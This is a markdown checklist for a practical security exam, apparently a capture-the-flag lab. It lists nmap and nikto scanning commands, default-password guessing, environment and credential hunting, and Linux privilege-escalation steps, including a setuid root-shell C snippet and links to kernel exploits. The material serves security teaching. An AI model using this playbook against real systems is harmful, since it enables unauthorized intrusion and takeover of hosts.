---
# System prepended metadata

title: Isec-Praxisklausur

---

# Isec-Praxisklausur

## Checklisten

### Reconnaissance
- [ ] 1. Local Network Host Discovery
    * `sudo nmap -sn 10.123.123.* -oX 1_local_host_discovery.xml | tee 1_raw_local_host_discovery`

- [ ] 2. Local Network Http Port Scan
    * `sudo nmap -Pn -p80 10.123.123.* -oX 2_local_http_scan.xml | tee 2_raw_local_http_scan`
    
    * Create host list:`./nmap-parse-output 1_local_host_discovery.xml hosts > hosts`

  * - [ ]  Scan http servers:`./nmap-parse-ouput 2_local_http_scan.xml hosts > http_hosts && nikto -host http_hosts | tee http_hosts_vulns`
    
- [ ] 3. Local Network pingable Hosts Common Port Scan
    * `sudo nmap -Pn -A -O -iL ./hosts -oX 3_local_host_scan.xml | tee 3_raw_local_host_scan`
- [ ] 4. Local Network All Hosts Common Port Scan
    * `sudo nmap -Pn -A -O 10.123.123.* --exclude ./hosts -oX 4_local_all_host_scan.xml | tee 4_raw_local_all_host_scan`
    
    * Append host list:`./nmap-parse-output 4_local_all_host_scan.xml hosts >> hosts`

- [ ] 5. Other Networks All Router Discovery
    * `sudo nmap -Pn -A -O 10.123.*.1 -oX 5_router_discovery.xml | tee 5_raw_router_discovery`
- [ ] 6. Other Networks Hosts Common Port Scan
    * `sudo nmap -Pn -A -O 10.123.a,d,c.* -oX 6_other_network_host_scan.xml | tee 6_raw_other_network_host_scan`
    
    * Append host list:`./nmap-parse-output 6_other_network_host_scan.xml hosts >> hosts`

- [ ] 7. All Port Scan (Aufteilen?)
    * `sudo nmap -Pn -A -O -p- -iL ./hosts -oX 7_all_port_scan.xml | tee 7_raw_all_port_scan`

- [ ] 8. IPV 6 Scan (lokales Subnetz)
    * `sudo scan6 -i eth1 -L -e -v | tee 8_raw_ipv6_local_discovery`

* General nmap knowledge:
    * `-e eth1` to specify interface
    * `--script [script]` to manually get possible exploits
        * vulners (preinstalled)
        * vulscan/
            * `cd /usr/share/nmap/scripts/`
              `git clone https://github.com/scipag/vulscan vulscan`
        * nmap-vulners/
            * `cd /usr/share/nmap/scripts/`
              `git clone https://github.com/vulnersCom/nmap-vulners.git`



### User-Hosts
1. Getting Access
    * Common passwords (root, admin, $username) or default password
2. Owning the system
    * Linux Hosts
        1. General Lookaround
            - [ ] 1. List of Users/groups; group membership: `cat /etc/passwd`
            - [ ] 2. Running processes
                * To get all environments `[sudo] cat /proc/*/environ | tr '\0' '\n'`
                * To get all processes `[sudo] ps auex`
            - [ ] 3. Recently modified files
                * `find /home/kali -printf "%T@ %Tc %p\n" | sort -nr | head -10`
                * Optional `-type f/d` for only files or driectories
                * Optional `-not \( -path '*/not_this_folder/*' -o -path '*/also_not_this_folder/*' \)` to ignore folders, kommmt vor printf
            - [ ] 4. All processes listing on a port
                * Listening
                ```
                sudo lsof -i -P -n | grep LISTE
                sudo netstat -tulpn | grep LISTEN
                sudo ss -tulpn | grep LISTEN
                sudo lsof -i:22 ## see a specific port such as 22 ##
                sudo nmap -sTU -O IP-address-Here
                ```

        3. Crawling
            - [ ] 1. Ripgrep
                * `sudo rg -uuu -a -L -z -o -e 'isec\{.+\}' /folder 2>/dev/null`
            - [ ] 2. Env
            - [ ] 3. Shell/Browser History
        4. Privelege Escalation
            - [ ] 1. Write access /etc/passwd, /etc/shadow, /etc/sudoers
                * Remove * in root entry
            - [ ] 2. sudo commands `sudo -l`
            - [ ] 3. setuid programms `find / -perm /4000 2>/dev/null` https://gtfobins.github.io/
                ```
                #include <stdlib.h>
                #include <unistd.h>

                int main(int argc, char* argv[]) {
                    setuid(0);
                    system("/bin/bash");
                }
                ```
                ```
                chown root suid-binary
                sudo chmod +sx suid-binary
               ````
            - [ ] 4. docker / lxd https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation
            - [ ] 5. Access to root PATH or `/etc/environment`
            - [ ] 6. linpeas
            - [ ] 8. Kernel-Exploit, check kernel-version: `uname -r`: 
                - DirtyPipe (5.8 < 5.16.11): https://www.exploit-db.com/exploits/50808 
                - Netfilter Local Privilege (2.6.19 < 5.9): https://www.exploit-db.com/exploits/50135 `sudo apt install libc6-dev-i386`
                - Pkexec https://www.exploit-db.com/exploits/50689
            - [ ] 9. Cron jobs `crontab -l`
